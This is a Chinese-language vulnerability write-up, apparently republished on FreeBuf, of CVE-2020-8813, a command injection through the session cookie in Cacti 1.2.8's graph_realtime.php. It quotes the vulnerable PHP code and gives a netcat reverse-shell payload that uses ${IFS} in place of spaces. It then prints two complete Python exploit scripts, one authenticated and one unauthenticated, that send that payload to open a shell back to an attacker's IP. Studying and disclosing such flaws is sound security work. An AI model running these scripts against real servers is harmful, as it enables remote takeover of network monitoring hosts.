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CVE-2020-8813:Cacti v1.2.8 中经过身份验证的RCE漏洞分析
2020-03-11 15:00:18

关于Cacti

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti通过 snmpget来获取数据,使用 RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。它提供了非常强大的数据和用户管理功能,可以指定每一个用户能查看树状结构、host以及任何一张图,还可以与LDAP结合进行用户验证,同时也能自己增加模板,功能非常强大完善。界面友好。软件 Cacti 的发展是基于让 RRDTool 使用者更方便使用该软件,除了基本的 Snmp 流量跟系统资讯监控外,Cacti 也可外挂 Scripts 及加上 Templates 来作出各式各样的监控图。

cacti是用php语言实现的一个软件,它的主要功能是用snmp服务获取数据,然后用rrdtool储存和更新数据,当用户需要查看数据的时候用rrdtool生成图表呈现给用户。因此,snmp和rrdtool是cacti的关键。Snmp关系着数据的收集,rrdtool关系着数据存储和图表的生成。

漏洞利用分析

我在分析Cacti主要代码中的多个功能函数时,发现了这个漏洞。我需要结合多个漏洞利用因素才能实现代码执行,当攻击者尝试向“Cacti”这个Cookie变量中注入恶意代码时,便会触发这个漏洞,而这个变量在与一些字符串合并之后将会被传递给shell_exec函数。但是当我尝试修改这个cookie值时遇到了身份验证的问题,而这个问题使我无法访问到目标页面,但是我发现这个包含漏洞的页面是能够以“Guest”身份访问的,这样就不需要进行身份验证了,所以我修改了漏洞利用代码,并使用“Guest”身份来访问页面“graph_realtime.php”,然后发送恶意请求来在目标主机上实现代码执行。

首先,我们需要向“user_admin.php”页面发送一个请求来启用“realtime_graph”的访客权限,然后再向“graph_realtime.php”页面发送恶意请求。

接下来,我使用了这个常用的RCE扫描脚本【RECScanner】来在Cacti中搜索RCE漏洞。

运行脚本后,我在“graph_realtime.php”文件中发现了一个非常有意思的东西:

graph_realtime.php

/* call poller */

$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';

$command   = read_config_option('path_php_binary');

$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);

shell_exec("$command $args");

/* construct the image name  */

$graph_data_array['export_realtime'] = $graph_rrd;

$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;

$null_param = array();

我们可以看到上述代码中的第4和第5行,我们收到了一些参数,还有一个名叫“get_request_var”的函数,该函数的作用如下:

html_utility.php

function get_request_var($name, $default = '') {

    global $_CACTI_REQUEST;

    $log_validation = read_config_option('log_validation');

    if (isset($_CACTI_REQUEST[$name])) {

        return $_CACTI_REQUEST[$name];

    } elseif (isset_request_var($name)) {

        if ($log_validation == 'on') {

            html_log_input_error($name);

        }

        set_request_var($name, $_REQUEST[$name]);

        return $_REQUEST[$name];

    } else {

        return $default;

    }

}

我们可以看到,这个函数可以处理输入数据并通过函数“set_request_var”来设置参数值,而这个函数的相关代码如下:

html_utility.php

function set_request_var($variable, $value) {

    global $_CACTI_REQUEST;

    $_CACTI_REQUEST[$variable] = $value;

    $_REQUEST[$variable]       = $value;

    $_POST[$variable]          = $value;

    $_GET[$variable]           = $value;

}

接下来,回到我们的“graph_realtime.php”页面,我们可以控制下列输入:

local_graph_id

The value of $graph_data_array[‘ds_step’]

但是,我们注意到“graph_realtime.php”文件中的第4行,它使用了sprintf()函数来处理输入,而第一个值“graph”的内容为“local_graph_id”,而这个值是我们可以控制的!又但是,一个名叫“get_filter_request_var”的函数会对这个值进行过滤,我们可以看到,它在“graph_realtime.php”中已经被过滤了:

html_utility.php

function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {

    if (isset_request_var($name)) {

        if (isempty_request_var($name)) {

            set_request_var($name, get_nfilter_request_var($name));

            return get_request_var($name);

        } elseif (get_nfilter_request_var($name) == 'undefined') {

            if (isset($options['default'])) {

                set_request_var($name, $options['default']);

                return $options['default'];

            } else {

                set_request_var($name, '');

                return '';

            }

        } else {

            if (get_nfilter_request_var($name) == '0') {

                $value = '0';

            } elseif (get_nfilter_request_var($name) == 'undefined') {

                if (isset($options['default'])) {

                    $value = $options['default'];

                } else {

                    $value = '';

                }

            } elseif (isempty_request_var($name)) {

                $value = '';

            } elseif ($filter == FILTER_VALIDATE_IS_REGEX) {

                if (is_base64_encoded($_REQUEST[$name])) {

                    $_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));

                }

                $valid = validate_is_regex($_REQUEST[$name]);

                if ($valid === true) {

                    $value = $_REQUEST[$name];

                } else {

                    $value = false;

                    $custom_error = $valid;

                }

            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {

                $valid = true;

                if (is_array($_REQUEST[$name])) {

                    foreach($_REQUEST[$name] AS $number) {

                        if (!is_numeric($number)) {

                            $valid = false;

                            break;

                        }

                    }

                } else {

                    $valid = false;

                }

                if ($valid == true) {

                    $value = $_REQUEST[$name];

                } else {

                    $value = false;

                }

            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {

                $valid = true;

                $values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);

                foreach($values AS $number) {

                    if (!is_numeric($number)) {

                        $valid = false;

                        break;

                    }

                }

                if ($valid == true) {

                    $value = $_REQUEST[$name];

                } else {

                    $value = false;

                }

            } elseif (!cacti_sizeof($options)) {

                $value = filter_var($_REQUEST[$name], $filter);

            } else {

                $value = filter_var($_REQUEST[$name], $filter, $options);

            }

        }

        if ($value === false) {

            if ($filter == FILTER_VALIDATE_IS_REGEX) {

                $_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));

                set_request_var($name, '');

                raise_message('custom_error');

            } else {

                die_html_input_error($name, get_nfilter_request_var($name));

            }

        } else {

            set_request_var($name, $value);

            return $value;

        }

    } else {

        if (isset($options['default'])) {

            set_request_var($name, $options['default']);

            return $options['default'];

        } else {

            return;

        }

    }

}

这个函数将会对输入数据进行过滤,然后返回一个“干净的”变量并传递给下一个函数。

对于第二个变量“$graph_data_array[‘ds_step’]”,它已经通过sprintf()进行处理了(%d),这也就意味着它会变成一个十进制值,所以我们无法用它来注入我们的恶意命令。

接下来,我们再看看下面这段代码:

graph_realtime.php

/* call poller */

$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';

$command   = read_config_option('path_php_binary');

$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);

shell_exec("$command $args");

/* construct the image name  */

$graph_data_array['export_realtime'] = $graph_rrd;

$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;

$null_param = array();

我们看到了另一个传递给shell_exec函数的变量,而这个变量的值就是session_id()函数返回的值,这个函数可以返回当前用户会话的值,也就是说,我们可以用它来注入我们的命令。

等一下,如果我们修改了会话,那我们就无法访问目标页面了,因为这个页面要求用户在经过了身份验证之后才能访问。研究之后我又发现,如果我们启用了一个名叫“Realtime Graphs”的特殊权限之后,我们就能够以访客身份访问这个页面了:

接下来,我们尝试在不开启“Guest Realtime Graphs”权限的情况下访问该页面:

正如我们所见,由于权限问题,我们现在无法访问这个页面,现在我们重新开启该权限,然后访问该页面:

很好,接下来我们发送“graph_realtime.php”页面请求,然后在代码中添加一条“echo”语句来输出传递给shell_exec函数的值:

如图所示,我们将会话打印了出来,接下来我们尝试向会话中注入自定义字符串:

非常好,我们成功实现了注入。

Payload开发

成功控制了会话值之后,我们需要用它来在目标系统中实现代码执行,但由于它本质上还是一个会话值,因此我们无法使用一些特殊字符,所以我们需要开发一个“对会话友好的”Payload。

比如说,如果对字符串“Hi Payload”进行编码,然后传递给应用程序,我们将会看到:

我们可以看到,应用程序设置了一个Cookie给我们,而不是我们所注入的那个,为了解决这个问题,我们需要使用一个自定义的Payload。

为了避免使用空格字符,我打算使用“${IFS}”这个Bash变量来代表一个空格。

当然了,我们还需要使用“;”来转义命令:

;payload

如果我们想使用netcat来获取一个Shell,我们还需要创建下列Payload:

;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port

我们先对Payload进行编码:

然后将其发送给应用程序:

很好,我们的Payload执行成功了,并拿到了一个Shell。

漏洞利用代码

为了实现整个漏洞利用的自动化过程,我编写了一个Python脚本来利用该漏洞:

#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Remote Code Execution

# Date: 03/02/2020

# Exploit Author: Askar (@mohammadaskar2)

# CVE: CVE-2020-8813

# Vendor Homepage: https://cacti.net/

# Version: v1.2.8

# Tested on: CentOS 7.3 / PHP 7.1.33

import requests

import sys

import warnings

from bs4 import BeautifulSoup

from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:

    print("[~] Usage : ./Cacti-exploit.py url username password ip port")

    exit()

url = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

ip = sys.argv[4]

port = sys.argv[5]

def login(token):

    login_info = {

    "login_username": username,

    "login_password": password,

    "action": "login",

    "__csrf_magic": token

    }

    login_request = request.post(url+"/index.php", login_info)

    login_text = login_request.text

    if "Invalid User Name/Password Please Retype" in login_text:

        return False

    else:

        return True

def enable_guest(token):

    request_info = {

    "id": "3",

    "section25": "on",

    "section7": "on",

    "tab": "realms",

    "save_component_realm_perms": 1,

    "action": "save",

    "__csrf_magic": token

    }

    enable_request = request.post(url+"/user_admin.php?header=false", request_info)

    if enable_request:

        return True

    else:

        return False

def send_exploit():

    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)

    cookies = {'Cacti': quote(payload)}

    requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

request = requests.session()

print("[+]Retrieving login CSRF token")

page = request.get(url+"/index.php")

html_content = page.text

soup = BeautifulSoup(html_content, "html5lib")

token = soup.findAll('input')[0].get("value")

if token:

    print("[+]Token Found : %s" % token)

    print("[+]Sending creds ..")

    login_status = login(token)

    if login_status:

        print("[+]Successfully LoggedIn")

        print("[+]Retrieving CSRF token ..")

        page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")

        html_content = page.text

        soup = BeautifulSoup(html_content, "html5lib")

        token = soup.findAll('input')[1].get("value")

        if token:

            print("[+]Making some noise ..")

            guest_realtime = enable_guest(token)

            if guest_realtime:

                print("[+]Sending malicous request, check your nc ;)")

                send_exploit()

            else:

                print("[-]Error while activating the malicous account")

        else:

            print("[-] Unable to retrieve CSRF token from admin page!")

            exit()

    else:

        print("[-]Cannot Login!")

else:

    print("[-] Unable to retrieve CSRF token!")

exit()

运行了漏洞利用代码之后,我们将会看到:

再一次成功拿到了Shell!

未经身份认证的漏洞利用

如果Cacti启用了“Guest Realtime Graphs”权限,那么我们就可以在未经身份验证的情况下利用该漏洞了。下面给出的是这种场景下的漏洞利用代码:

#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution

# Date: 03/02/2020

# Exploit Author: Askar (@mohammadaskar2)

# CVE: CVE-2020-8813

# Vendor Homepage: https://cacti.net/

# Version: v1.2.8

# Tested on: CentOS 7.3 / PHP 7.1.33

import requests

import sys

import warnings

from bs4 import BeautifulSoup

from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 4:

    print("[~] Usage : ./Cacti-exploit.py url ip port")

    exit()

url = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

def send_exploit(url):

    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)

    cookies = {'Cacti': quote(payload)}

    path = url+"/graph_realtime.php?action=init"

    req = requests.get(path)

    if req.status_code == 200 and "poller_realtime.php" in req.text:

        print("[+] File Found and Guest is enabled!")

        print("[+] Sending malicous request, check your nc ;)")

        requests.get(path, cookies=cookies)

    else:

        print("[+] Error while requesting the file!")

send_exploit(url)

我们可以看到,在这种场景下同样能够成功利用该漏洞。

漏洞披露

在发现该问题之后,我们便将完整的PoC上报给了Cacti的团队,他们也在第一时间修复了该漏洞并发布了漏洞补丁,从Cacti v1.2.10开始将不再受此漏洞的影响。

* 参考来源:shells,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


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# CVE # rce # Cacti
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